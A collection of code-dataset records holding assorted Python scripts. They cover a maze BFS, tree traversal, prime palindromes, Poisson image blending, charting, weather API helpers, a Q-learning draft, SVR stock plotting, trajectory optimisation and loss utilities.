boool = True\n break\n adj = [(cy, cx-1), (cy-1, cx), (cy, cx+1), (cy+1, cx)]\n for dy, dx in adj:\n if 0<=dy<16 and 0<=dx<16 and maap[dy][dx] != 1 and not visited[dy][dx]:\n visited[dy][dx] = True\n q.put((dy, dx))\n if boool:\n print('#{} {}'.format(tc, 1))\n else:\n print('#{} {}'.format(tc, 0))","sub_path":"Baekjoon,SWEA, etc/SWEA/미로1.py","file_name":"미로1.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"100341167","text":"\"\"\"\nGiven a binary tree, return the preorder traversal of its nodes' values.\n\nFor example:\nGiven binary tree [1,null,2,3],\n 1\n \\\n 2\n /\n 3\nreturn [1,2,3].\n\nNote: Recursive solution is trivial, could you do it iteratively?\n\n\"\"\"\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n################################################################\n# FIRST VERSION\nclass Solution:\n def __preorderTraverse(self, root, lst):\n if root==None: return\n lst.append(root.val)\n self.__preorderTraverse(root.left, lst)\n self.__preorderTraverse(root.right, lst)\n \n def preorderTraversal(self, root, lst=[]):\n \"\"\"\n :type root: TreeNode\n :rtype: List[int]\n \"\"\"\n if root==None: return []\n lst = []\n self.__preorderTraverse(root, lst)\n return lst","sub_path":"Leetcode_Algorithm/Python3/144_Binary_Tree_Preorder_Traversal.py","file_name":"144_Binary_Tree_Preorder_Traversal.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"179050335","text":"def oddSeq():\n n=1\n while True:\n n+=2\n yield n\n\ndef notDivisivle(n):\n return lambda x:x%n>0\n\ndef primes():\n yield 2\n seq=oddSeq()\n while True:\n n=next(seq)\n yield n\n seq=filter(notDivisivle(n),seq)\n\ndef palin(n):\n s1=str(n)\n s2=s1[::-1]\n if s1==s2:\n return True\n return False\n\n\nn=int(input())\nfor i in primes():\n if i>=n and palin(i):\n print(i)\n break","sub_path":"Code/CodeRecords/2244/61132/285343.py","file_name":"285343.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"457206254","text":"import imageIO\nfrom imageIO import *\nimport a2\nfrom a2 import *\nimport numpy\nfrom numpy import *\nimport scipy\nfrom scipy import signal\nfrom scipy import ndimage\nimport a7help\nfrom a7help import *\nimport a11\nfrom a11 import *\nimport time\n\ndef ramp(mask):\n r=arange(0, 1.0, 1.0/mask.shape[1])\n tmp=zeros_like(mask[:, :, 0])\n tmp[:]=r\n out=zeros_like(mask)\n out[:, :, 0]=tmp\n out[:, :, 1]=tmp\n out[:, :, 2]=tmp\n return out\n\n\nlap2D=array([[0, -1.0, 0], [-1.0, 4.0, -1], [0, -1.0, 0]])\n \ndef Laplacian(im):\n out=empty_like(im)\n for i in xrange(3):\n out[:, :, i]= signal.convolve(im[:, :, i], lap2D, mode='same')\n return out\n\ndef PoissonComposite(bg, fg, mask, y, x, CG=True, useLog=True, niter=200):\n h, w=fg.shape[0], fg.shape[1]\n mask[mask>0.5]=1\n mask[mask<0.6]=0.0\n bg2=(bg[y:y+h, x:x+w]).copy()\n out=bg.copy()\n if useLog:\n bg2[bg2==0]=1e-4\n fg[fg==0]=1e-4\n bg3=log(bg2)+3\n fg3=log(fg)+3\n else:\n bg3=bg2\n fg3=fg\n \n if CG: tmp=PoissonCG(bg3, fg3, mask, niter)\n else: tmp=Poisson(bg3, fg3, mask, niter)\n\n if useLog:\n out[y:y+h, x:x+w]=exp(tmp-3)\n else: out[y:y+h, x:x+w]=tmp\n return out\n\ndef test():\n bg=imread('Poisson/waterpool.png')\n fg=imread('Poisson/bear.png')\n mask=imread('Poisson/mask.png')\n #imwrite( naiveComposite(bg, fg, mask, 50, 1), 'naive.png')\n imwrite(PoissonComposite(bg, fg, mask, 50, 10, CG=False, useLog=False, niter=250), 'aa-poisson-250.png')\n imwrite(PoissonComposite(bg, fg, mask, 50, 10, CG=False, useLog=True, niter=250), 'aa-poisson-log-250.png')\n imwrite(PoissonComposite(bg, fg, mask, 50, 10, CG=True, useLog=False, niter=250), 'aa-poisson-CG-250.png')\n imwrite(PoissonComposite(bg, fg, mask, 50, 10, CG=True, useLog=True, niter=250), 'aa-poisson-CG-log-250.png')\n\ndef apple():\n bg = imread('emily/apple.png')\n fg = imread('emily/sign.png')\n mask = imread('emily/sign_mask.png')\n imwrite(PoissonComposite(bg, fg, mask, 45, 100, True, False, 250), 'apple-CG-250.png')\n imwrite(PoissonComposite(bg, fg, mask, 45, 100, True, True, 250), 'apple-CG-log-250.png')\n\ndef mm():\n bg = imread('emily/apple-tiny.png')\n fg = imread('emily/mm-tiny.png')\n mask = imread('emily/mm_mask.png')\n imwrite(PoissonComposite(bg, fg, mask, 15, 20, True, False, 250), 'apple-tiny-CG-250.png')\n\ndef blink():\n #bg = imread('blink-big-bg.png')\n bg = imread('blink-log2.png')\n fg = imread('blink-big-fg.png')\n #mask = imread('blink-big-mask-one.png')\n mask = imread('blink-big-mask-two.png')\n #imwrite(PoissonComposite(bg, fg, mask, 48, 119, True, True, 100), 'blink-log2.png')\n imwrite(PoissonComposite(bg, fg, mask, 73, 133, True, True, 1), 'blink-log2-2.png')\n\n\n\ndef testRamp():\n mask=imread('Poisson/mask3.png')\n bg=ramp(mask)\n fg=ones_like(mask)\n \n","sub_path":"pset11/a11Help.py","file_name":"a11Help.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"446731159","text":"from numpy.core.fromnumeric import choose\nimport pandas as pd\nfrom pyecharts.charts import *\nfrom pyecharts.charts import Page\npage = Page()\nvote_result=pd.read_csv(\"d:/ee/presidential_approval_rate.csv\")\n# print(vote_result.info())\n# print(vote_result.head())\nbar = Bar()\nx = list(vote_result[\"问题\"])\nprint(x)\ny1 = list(vote_result[\"支持\"])\nprint(type(y1))\nfor i in y1:\n print(type(i))\ny2 = list(vote_result[\"反对\"])\nprint(y2)\ny3 = list(vote_result[\"不发表意见\"])\nbar.add_xaxis(x)\nbar.add_yaxis(\"A\",y1,stack=True,color='oldlace') #这里的color可以设置图的颜色\nbar.add_yaxis(\"B\",y2,stack=True,color='pink')\nbar.add_yaxis(\"C\",y3,stack=True,color='palevioletred')\npage.add(bar)\npage.render(\"bar1.html\") #图的网页名称\n\n\n\n\n","sub_path":"pythonProject/data2/exE4.py","file_name":"exE4.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"210204740","text":"# -*- coding: utf-8 -*-\n\"\"\"\nA module that access webapi to provide location and temp data\n\"\"\"\n\nimport urllib\nimport json\nimport math\nfrom keys import get_googlemaps_api_key, get_open_weather_api_key\n\n\ndef get_location(address):\n \"\"\"\n A function that returns latitude and longitude coordinates based on address\n \"\"\"\n url = \"https://maps.googleapis.com/maps/api/geocode/json?address=\" + \\\n address.replace(\" \", \"+\") + \"&key=\" + get_googlemaps_api_key()\n\n response = urllib.urlopen(url)\n data = json.load(response)\n\n return data['results'][0]['geometry']['location']['lat'],\\\n data['results'][0]['geometry']['location']['lng']\n\ndef get_weather(lat, lon):\n \"\"\"\n A function that returns location name, temperature,\n and humidity based on latitude and longitude\n \"\"\"\n\n url = \"http://api.openweathermap.org/data/2.5/weather?\" + urllib.urlencode({\n \"lat\" : lat,\n \"lon\" : lon,\n \"APPID\" : get_open_weather_api_key(),\n \"units\" : \"metric\"\n })\n\n response = urllib.urlopen(url)\n data = json.load(response)\n\n return data['name'], data['main']['temp'], data['main']['humidity']\n\ndef calc_feelslike_temp(temp_c, humidity):\n \"\"\"\n A function that returns what it \"Feels Like\" based on temperature and humidity\n \"\"\"\n\n cons1 = -42.379\n cons2 = 2.04901523\n cons3 = 10.14333127\n cons4 = -0.22475541\n cons5 = (-6.83783 * math.pow(10, -3))\n cons6 = (-5.481717 * math.pow(10, -2))\n cons7 = (1.22874 * math.pow(10, -3))\n cons8 = (8.5282 * math.pow(10, -4))\n cons9 = (-1.99 * math.pow(10, -6))\n\n temp = convert_cel_to_faren(temp_c)\n\n heat_index = cons1 + cons2*temp + cons3*humidity + \\\n cons4*temp*humidity + cons5*(math.pow(temp, 2)) + \\\n cons6*(math.pow(humidity, 2)) + cons7*(math.pow(temp, 2))*humidity + \\\n cons8*temp*math.pow(humidity, 2) \\\n + cons9*math.pow(temp, 2)*math.pow(humidity, 2)\n\n return round(convert_faren_to_cel(heat_index))\n\ndef convert_cel_to_faren(temp_c):\n \"\"\"\n A function that returns farenhiet given celsius\n \"\"\"\n return ((temp_c * 9) / 5) + 32\n\ndef convert_faren_to_cel(temp_f):\n \"\"\"\n A function that returns celsius given farenheit\n \"\"\"\n return ((temp_f-32) * 5) / 9\n\ndef getforecast(lat, lon):\n \"\"\"\n A function that returns the forecast for a certain location based on latitude and longitude\n \"\"\"\n\n url = \"http://api.openweathermap.org/data/2.5/forecast?\" + urllib.urlencode({\n \"lat\": lat,\n \"lon\": lon,\n \"APPID\": get_open_weather_api_key(),\n \"units\": \"metric\"\n })\n\n response = urllib.urlopen(url)\n data = json.load(response)\n count = data['cnt']\n\n list_date_txt = []\n list_temperature = []\n list_humidity = []\n location = data['city']['name']\n\n\n for num in range(count):\n list_date_txt.append(data['list'][num]['dt_txt'])\n list_temperature.append(round(data['list'][num]['main']['temp'], 1))\n list_humidity.append(data['list'][num]['main']['humidity'])\n\n return location, list_date_txt, list_temperature, list_humidity\n\ndef get_geo_location():\n \"\"\"\n A function that gets geographic location based on IP\n \"\"\"\n response = urllib.urlopen(\"http://ip-api.com/json\")\n data = json.load(response)\n\n return data['lat'], data['lon']\n","sub_path":"python/back.py","file_name":"back.py","file_ext":"py","file_size_in_byte":3297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"466253256","text":"import json\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense\nfrom keras.optimizers import sgd\nimport functools\n\n\n\ndef initialize(grid_size = 10):\n # shape = (fruit_y, fruit_x, basket_pos)\n fruit_basket = np.asarray([0] + [np.random.randint(i, grid_size-i+1, size = 1) for i in range(2)])\n return fruit_basket.astype(np.int16)\n\ndef update(fruit_basket, action, grid_size = 10):\n # center the action on zero\n # update basket position\n basket_pos_new = min(max(1, fruit_basket[-1] + action), grid_size -1)\n # fruit falls one unit\n fruit_basket[0] += 1\n # basket moves in accordance to action\n fruit_basket[-1] = basket_pos_new\n # modify fruit_basket in place!\n return(fruit_basket)\n\n\ndef draw_fruit_basket(fruit_basket, grid_size = 10):\n im_size = (grid_size,)*2\n canvas = np.zeros(im_size)\n # fruit = one pixel, [y,x] = fb[:1]\n canvas[fruit_basket[0], fruit_basket[1] - 1] = 1\n # basket = three pixels wide, center = fb[2]\n canvas[-1, fruit_basket[-1]-1:fruit_basket[-1] + 2] = 1\n #print(canvas.shape)\n return canvas\n\ndef at_bottom(y, grid_size=10):\n return y == grid_size-1\n\ndef in_basket(x, basket_center):\n return abs(x - basket_center) <=1\n\n\ndef get_reward(fruit_basket, grid_size = 10):\n # (fruity, fruitx, basket_pos)\n bottom = at_bottom(fruit_basket[0], grid_size)\n basket = in_basket(*fruit_basket[1:].T)\n if (bottom):\n if (basket):\n return 1, bottom\n else:\n return -1, bottom\n else:\n return 0, bottom\n\ndef get_current_state(fruit_basket, grid_size = 10):\n return draw_fruit_basket(fruit_basket, grid_size).reshape((1,-1))\n\ndef one_step(fruit_basket, action, grid_size = 10):\n fruit_basket = update(fruit_basket, action, grid_size)\n reward, over = get_reward(fruit_basket, grid_size)\n return get_current_state(fruit_basket, grid_size), reward, over\n\n\n\n# we have defined a single step of basket drawing, updating, and reward\n# receiving\n\n# now to do some cool numpy shit\n\n# remember: take in a current memory list, do epic shit\n\ndef remember(memory, experience, over, max_memory = 100):\n # lets see if this kills our memory\n # mem = np.zeros(5).reshape(1,5)\n new_experience = np.hstack([experience, over])\n if memory.shape[0] == 1:\n memory = new_experience.reshape(memory.shape)\n elif memory.shape[0] < max_memory:\n memory = np.vstack([memory, new_experience])\n else:\n memory = np.vstack([memory, np.zeros(memory.shape[-1]) ])\n memory[memory.shape[0] % max_memory] = new_experience\n return memory\n\n\ndef get_one_batch(memory, model, batch_size = 10, max_memory = 100, grid_size = 10, discount = 0.9):\n if memory.shape[0] < max_memory:\n mem_rows = memory.shape[0]\n else:\n mem_rows = max_memory\n n_actions = model.output.shape[-1]\n canvas_size = grid_size **2\n input_rows = min(mem_rows, batch_size)\n inputs = np.zeros((input_rows, canvas_size))\n print(inputs.shape)\n target = np.zeros((inputs.shape[0], n_actions))\n i = np.random.choice(np.arange(mem_rows), inputs.shape[0])\n idx = np.arange(mem_rows)\n # previous state, action, reward, state taken?\n print(memory.shape)\n state_vectors = memory[idx, :(memory.shape[-1] - 1)]\n game_status = memory[idx, -1]\n # update inputs\n for i in vals:\n inputs[i:i+1]\n inputs[i:i+1] = state_vectors[0]\n inputs.reshape(input_rows, canvas_size)\n targets[i] = model.predict(state_vectors[0])[:,0]\n Q_sa = np.max(model.predict(state_vectors[-1])[:,0])\n targets[np.where(game_status==1)] = state_vectors[np.where(game_status==1),2]\n targets[np.where(game_status==0)] = state_vectors[np.where(game_status==0),2] + discount*Q_sa\n return inputs, targets\n\n\ndef build_model(actions, grid_size = 10, hidden_size = 100):\n model = Sequential()\n model.add(Dense(hidden_size, input_shape=(grid_size**2,), activation='relu'))\n model.add(Dense(hidden_size, activation='relu'))\n model.add(Dense(actions.shape[0]))\n return(model)\n\n\n\ndef make_decision(epsilon, actions, model, initial_state):\n if np.random.rand() <= epsilon:\n action = np.random.randint(0, actions.shape[0], size = 1)\n else:\n q = model.predict(initial_state)\n action = np.argmax(q[0])\n return action\n\ndef play_one_step(basket, grid_size,\n epsilon, actions,\n model, memory,\n max_memory, discount,\n batch_size, loss, n_win):\n init_state = get_current_state(basket, grid_size)\n action = make_decision(epsilon, actions, model, init_state)\n new_state, reward, game_status = one_step(basket, action, grid_size)\n if (reward == 1):\n n_win += 1\n # [input_tm1, action, reward, input_t], game_over\n #memory, experience, over, max_memory = 100\n memory = remember(memory, np.array([init_state, action, reward, new_state]), game_status)\n inputs, targets = get_one_batch(memory, model, batch_size, max_memory, grid_size, discount)\n loss += model.train_on_batch(inputs, targets)\n return memory, loss, update(basket, action, grid_size), game_status, n_win\n\ndef play_one_game(game_status, basket,\n grid_size, epsilon,\n actions, model,\n memory, max_memory,\n discount, batch_size,\n loss, n_win):\n while not game_status:\n memory, loss, basket, game_status = play_one_step(basket, grid_size,\n epsilon, actions,\n model, memory,\n max_memory, discount,\n batch_size, loss,\n n_win)\n return memory, loss, n_win\n\ndef play_for_ages(grid_size, epsilon,\n actions, model,\n memory, max_memory,\n discount, batch_size, epochs):\n for e in range(epochs):\n loss = 0.\n basket = initialize(grid_size)\n n_win = 0\n game_status = False\n memory, loss, n_win = play_one_game(game_status, basket, grid_size, epsilon, actions, model, memory, max_memory, discount, batch_size, loss, n_win)\n print(\"Epoch {:03d}/999 | Loss {:.4f} | Win count {}\".format(e, loss, n_win))\n model.save_weights(\"model.h5\", overwrite=True)\n with open(\"model.json\", \"w\") as outfile:\n json.dump(model.to_json(), outfile)\n return loss, memory, n_win\n\n\n\n\nif __name__ == \"__main__\":\n epsilon = 0.1\n actions = np.arange(3) - 1\n epochs = 1000\n max_memory = 500\n batch_size = 50\n grid_size = 10\n discount = 0.9\n model = build_model(np.arange(3), 10, 100)\n model.compile(sgd(lr=0.2), \"mse\")\n memory = np.zeros(actions.shape[0] + 2).reshape(1, actions.shape[0] + 2)\n loss, memory, n_win = play_for_ages(grid_size, epsilon,\n actions, model,\n memory, max_memory,\n discount, batch_size,\n epochs)\n\n\n# # parameters\n# epsilon = .1 # exploration\n# actions = np.arange(3) - 1\n# epoch = 1000\n# max_memory = 500\n# hidden_size = 100\n# batch_size = 50\n# grid_size = 10\n#\n# model = Sequential()\n# model.add(Dense(hidden_size, input_shape=(grid_size**2,), activation='relu'))\n# model.add(Dense(hidden_size, activation='relu'))\n# model.add(Dense(num_actions))\n# model.compile(sgd(lr=.2), \"mse\")\n#\n# # If you want to continue training from a previous model, just uncomment the line bellow\n# # model.load_weights(\"model.h5\")\n#\n# # Define environment/game\n#\n# # Initialize memory\n# mem = np.zeros(actions.s).reshape(1,5)\n#\n# # Train\n# win_cnt = 0\n# for e in range(epoch):\n# loss = 0.\n# fruit_basket = initialize(grid_size)\n# game_over = False\n# # get initial input\n# input_t = get_current_state(fruit_basket, grid_size)\n# print(input_t)\n#\n#\n# while not game_over:\n# input_tm1 = input_t\n# # get next action\n# if np.random.rand() <= epsilon:\n# action = np.random.randint(0, num_actions, size=1)\n# else:\n# q = model.predict(input_tm1)\n# action = np.argmax(q[0])\n#\n# # apply action, get rewards and new state\n# input_t, reward, game_over = env.act(action)\n# if reward == 1:\n# win_cnt += 1\n#\n# # store experience\n# exp_replay.remember([input_tm1, action, reward, input_t], game_over)\n#\n# # adapt model\n# inputs, targets = exp_replay.get_batch(model, batch_size=batch_size)\n#\n# loss += model.train_on_batch(inputs, targets)\n# print(\"Epoch {:03d}/999 | Loss {:.4f} | Win count {}\".format(e, loss, win_cnt))\n#\n# # Save trained model weights and architecture, this will be used by the visualization code\n# model.save_weights(\"model.h5\", overwrite=True)\n# with open(\"model.json\", \"w\") as outfile:\n# json.dump(model.to_json(), outfile)\n","sub_path":"junk/fruitbasket.py","file_name":"fruitbasket.py","file_ext":"py","file_size_in_byte":9306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"157932288","text":"import csv\nimport numpy as np\nfrom sklearn.svm import SVR\nimport matplotlib.pyplot as plt\nimport os\nfrom matplotlib import style\nstyle.use('seaborn')\nos.chdir(\"\")\n\nprice = []\ndef get_data(filename):\n with open(filename, 'r') as csvfile:\n csvFileReader = csv.reader(csvfile)\n next(csvFileReader)\n for row in csvFileReader:\n price.append(float(row[1]))\n return\n\nget_data('aapl.csv')\n\n\ndate = list(range(len(price)))\ndate_li = date[::-1]\ndate_to_predict = date[0]\nprice_to_predict = price[0]\ndates = date_li[1:150]\nprices = price[1:150]\nx = len(prices)\n\ndates = np.reshape(dates, (len(dates)), 1)\ndates = dates.reshape(-1, 1)\n\nsvr_lin = SVR(kernel = 'linear', C=1e3)\nsvr_rbf = SVR(kernel = 'rbf', C=1e3, gamma=0.01)\nsvr_lin.fit(dates, prices)\nsvr_rbf.fit(dates, prices)\n\nplt.scatter(dates, prices, color=\"black\", label=\"Data\", s=10)\nplt.plot(dates, svr_rbf.predict(dates), color=\"red\", label=\"RBF Model\")\nplt.plot(dates, svr_lin.predict(dates), color=\"blue\", label=\"Linear Model\")\nplt.plot(date_li[:150], price[:150], 'g--', alpha=.3, label=\"Actual Price\")\n\nplt.xlabel(\"Date\")\nplt.ylabel(\"Price\")\nplt.title(\"Support Vector Regression\")\nplt.legend()\nplt.show\n\nlinear = svr_lin.predict(x)[0]\nrbf = svr_rbf.predict(x)[0]\nplt.plot(251, linear, 'b.')\nplt.plot(251, rbf, 'r.')\n\nprint(\"Linear Pred: {}, RBF Pred: {}, Poly Pred: \".format(linear, rbf))\nprint(\"Price to Predict: {}\".format(price_to_predict))","sub_path":"stock3.py","file_name":"stock3.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"18999750","text":"import numpy\nimport scipy\nfrom numpy import ones, zeros\nfrom numpy import flip, fliplr, flipud\nfrom numpy import poly1d, polyder, polyint\nfrom numpy.polynomial.polynomial import polypow\nfrom scipy.linalg import block_diag\nfrom copy import deepcopy\nimport cvxopt\n\n# [-2, 2, 2],\n# [-2, 3, 3],\nkeyframes = numpy.array([\n [0, 0, 1],\n [0, 4, 4],\n])\n\nvel_bound = [1, 2]\nacc_bound = [1, 2]\n\nvel_state = [1, 1]\nacc_state = [0, 0]\n\ntotal_time = 10\ntime_step = 0.1\n\nclass sub_cost_matrix(object):\n def __init__(self, poly_order: int, derivative_order: int):\n self.poly_order = poly_order\n self.derivative_order = derivative_order\n self.poly: poly1d = polyder(numpy.ones(poly_order), derivative_order)\n self.matrix: numpy.array = zeros((poly_order, poly_order))\n poly_array: numpy.array = numpy.array(self.poly).reshape((1, len(self.poly)))\n self.matrix[0 : poly_order - derivative_order,\n 0 : poly_order - derivative_order] = \\\n poly_array.transpose() * poly_array\n for i in range(0, poly_order - derivative_order + 1):\n self.matrix[i, 0 : poly_order - i] = \\\n polyint(self.matrix[i, 0 : poly_order - i])[0 : -1] # throw away the constant term\n print(self.matrix)\n\n def __str__(self):\n return str(self.matrix)\n\n def substitute(self, time: tuple[float, float]):\n for i in range(0, self.poly_order):\n for j in range(0, i + 1):\n self.matrix[j, i - j] *= \\\n abs(\n pow(time[0], (self.poly_order - self.derivative_order - 1) ** 2 - i + 1) - \\\n pow(time[1], (self.poly_order - self.derivative_order - 1) ** 2 - i + 1)\n )\n return self\n\nclass cost_matrix(object):\n def __init__(self, poly_order: int, derivative_order: int, keyframe_list: numpy.array):\n self.poly_order = poly_order\n self.derivative_order = derivative_order\n self.matrix = sub_cost_matrix(poly_order, derivative_order).substitute((keyframe_list[0, 2], keyframe_list[1, 2])).matrix\n for i in range(1, len(keyframe_list) - 1):\n self.matrix = block_diag(\n self.matrix,\n sub_cost_matrix(poly_order, derivative_order).substitute((keyframe_list[i, 2], keyframe_list[i + 1, 2])).matrix\n )\n\n def __str__(self):\n return str(self.matrix)\n\n\ndef path_constrain(poly_order: int, keyframe_list: numpy.array):\n poly_coef_matrix = 0\n for t in range(0, len(keyframe_list) - 1):\n sub_poly_coef_matrix = [ones(poly_order), ones(poly_order)]\n for j in range(0, 2):\n for i in range(0, poly_order):\n sub_poly_coef_matrix[j][i] = pow(keyframe_list[t + j, 2], poly_order - i - 1)\n if poly_coef_matrix.__class__ == int:\n poly_coef_matrix = deepcopy(sub_poly_coef_matrix)\n else:\n poly_coef_matrix = block_diag(poly_coef_matrix, sub_poly_coef_matrix)\n b = [keyframe_list[0, 0]]\n for i in range(1, len(keyframe_list) - 1):\n b.append(keyframe_list[i, 0])\n b.append(keyframe_list[i, 0])\n b.append(keyframe_list[-1, 0])\n return (poly_coef_matrix, numpy.array(b).reshape(len(b), 1))\n\ndef constrain(poly_order: int, keyframe_list: numpy.array):\n def substitute(p: poly1d, time: float):\n for i in range(0, len(p)):\n p[i] *= pow(time, len(p) - 1 - i)\n return p\n A, b = path_constrain(5, keyframe_list)\n A = numpy.concatenate((\n A,\n numpy.array([\n numpy.pad(substitute(polyder(ones(poly_order), 1), keyframe_list[ 0, 2]), (0, (len(keyframe_list) - 2) * poly_order + 1), constant_values=0),\n numpy.pad(substitute(polyder(ones(poly_order), 1), keyframe_list[-1, 2]), ((len(keyframe_list) - 2) * poly_order + 0, 1), constant_values=0),\n numpy.pad(substitute(polyder(ones(poly_order), 2), keyframe_list[ 0, 2]), (0, (len(keyframe_list) - 2) * poly_order + 2), constant_values=0),\n numpy.pad(substitute(polyder(ones(poly_order), 2), keyframe_list[-1, 2]), ((len(keyframe_list) - 2) * poly_order + 0, 2), constant_values=0),\n ])\n ))\n b = numpy.concatenate((\n b,\n numpy.array([\n [1],\n [1],\n [0],\n [0],\n ]),\n ))\n return A, b\n\ndef cvxopt_solve_qp(P, q, G=None, h=None, A=None, b=None):\n P = .5 * (P + P.transpose()) # make sure P is symmetric\n args = [cvxopt.matrix(P), cvxopt.matrix(q)]\n if G is not None:\n args.extend([cvxopt.matrix(G), cvxopt.matrix(h)])\n if A is not None:\n args.extend([cvxopt.matrix(A), cvxopt.matrix(b)])\n sol = cvxopt.solvers.qp(*args)\n if 'optimal' not in sol['status']:\n return None\n return numpy.array(sol['x']).reshape((P.shape[1],))\n\nif __name__ == '__main__':\n P = cost_matrix(5, 2, keyframes).matrix\n A, b = constrain(5, keyframes)\n print(numpy.linalg.matrix_rank(A))\n print(numpy.linalg.matrix_rank(numpy.concatenate([P, A])))\n print(numpy.linalg.eigvals(P))\n print(0.5 * (P + P.transpose()))\n print(A)\n print(b)\n q = zeros((5, 1))\n print(q)\n cvxopt_solve_qp(P, zeros((5, 1)), A=A, b=b)\n","sub_path":"proto.py","file_name":"proto.py","file_ext":"py","file_size_in_byte":5245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"113288055","text":"def factorial(n): # return factorial value of n\n if n == 0 or n == 1:\n return 1\n else:\n return n * factorial(n - 1)\ndef fibonacci(n): # return Fibonacci series up to n\n result = []\n a, b = 0, 1\n while b < n:\n result.append(b)\n a, b = b, a + b\n return result","sub_path":"number.py","file_name":"number.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"211533679","text":"import torch\nimport torch.nn.functional as F\n\n\ndef gram_matrix(feat):\n (b, ch, h, w) = feat.size()\n feat = feat.view(b, ch, h * w)\n feat_t = feat.transpose(1, 2)\n gram = torch.bmm(feat, feat_t) / (ch * h * w)\n return gram\n\n\ndef total_variation_loss(image):\n loss = torch.mean(torch.abs(image[:, :, :, :-1] - image[:, :, :, 1:])) +\\\n torch.mean(torch.abs(image[:, :, :-1, :] - image[:, :, 1:, :]))\n return loss\n\n\ndef conv_variance(data, k=11):\n weights = torch.ones((1, 1, k, k), dtype=torch.float, device=data.device) / (k * k)\n\n with torch.no_grad():\n exp = F.conv2d(torch.pow(data, 2), weights, padding='valid')\n exp2 = torch.pow(F.conv2d(data, weights, padding='valid'), 2)\n\n return (exp - exp2)\n","sub_path":"climatereconstructionai/loss/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"94060943","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 1 18:19:24 2019\n\n@author: hungphd\n\"\"\"\n\n\n# import modules\nimport numpy as np\nimport pandas as pd\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import LinearSVR\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.ensemble import GradientBoostingRegressor, RandomForestRegressor\nfrom sklearn.metrics import classification_report,confusion_matrix\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.neural_network import MLPRegressor\nfrom sklearn.ensemble import AdaBoostRegressor\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis\nfrom sklearn.model_selection import cross_val_score, cross_val_predict, StratifiedKFold, train_test_split\nimport os\nfrom sklearn.metrics import precision_score,accuracy_score\nimport matplotlib.pyplot as plt; plt.rcdefaults()\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport xgboost as xgb\nfrom sklearn.metrics import mean_squared_error,mean_absolute_error\n\ndef createDirIfNotExist(fopOutput):\n try:\n # Create target Directory\n os.mkdir(fopOutput)\n print(\"Directory \", fopOutput, \" Created \")\n except FileExistsError:\n print(\"Directory \", fopOutput, \" already exists\")\n\n\n# Ppython program to check if two\n# to get unique values from list\n# using numpy.unique\nimport numpy as np\n\n\n# function to get unique values\ndef unique(list1):\n x = np.array(list1)\n return np.unique(x)\ndef convertNormalLabelToTopLabel(originColumn):\n lstUnique=unique(originColumn)\n lstUnqSort=sorted(lstUnique)\n dictTop={}\n for i in range(1,len(lstUnqSort)+1):\n valInt=int(lstUnqSort[i-1])\n dictTop[valInt]=i\n dictReverse[i]=valInt\n lstNewColumn=[]\n for item in originColumn:\n newScore=dictTop[item]\n lstNewColumn.append(newScore)\n # print(dictReverse)\n return lstNewColumn\n\nimport math\ndef convertTopLabelToNormalLabel(topColumn):\n\n minValue=min(dictReverse.keys())\n maxValue=max(dictReverse.keys())\n lstNewColumn=[]\n for item in topColumn:\n rangeValue=0\n decVal, intVal = math.modf(item)\n intVal=int(intVal)\n if intVal <= minValue:\n intVal = 1\n rangeValue = dictReverse[minValue]\n elif intVal >= maxValue:\n rangeValue = 0\n else:\n rangeValue = dictReverse[intVal + 1] - dictReverse[intVal]\n if intVal == 1:\n realValue = dictReverse[intVal]\n else:\n realValue = dictReverse[intVal] + rangeValue * decVal\n lstNewColumn.append(realValue)\n return lstNewColumn\n\n\n\n# set file directory\nnameSystem='duracloud'\nfopVectorAllSystems = 'vector_tfidf_original_'+nameSystem+'/'\nfopOverallResultReg= 'result_tfidf_reg_original_'+nameSystem+'/'\ncreateDirIfNotExist(fopOverallResultReg)\n\ndictReverse={}\n\nfrom os import listdir\nfrom os.path import isfile, join\narrFiles = [f for f in listdir(fopVectorAllSystems) if isfile(join(fopVectorAllSystems, f))]\nfpMAEMax = fopOverallResultReg + 'MAE_max.txt'\nfpMAEMin = fopOverallResultReg + 'MAE_min.txt'\nfpMAEAvg = fopOverallResultReg + 'MAE_avg.txt'\no3=open(fpMAEMax,'w')\no3.write('')\no3.close()\n\no3 = open(fpMAEMin, 'w')\no3.write('')\no3.close()\n\no3 = open(fpMAEAvg, 'w')\no3.write('')\no3.close()\n\nfor file in arrFiles:\n if not file.endswith('_regression.csv'):\n continue\n file=file.replace('_regression.csv', '')\n # fileCsv = fopVectorAllSystems + file+\n fpVectorItemReg = fopVectorAllSystems + file + '_regression.csv'\n\n\n fopOutputItemDetail = fopOverallResultReg + \"/details/\"\n # fopOutputItemEachReg = 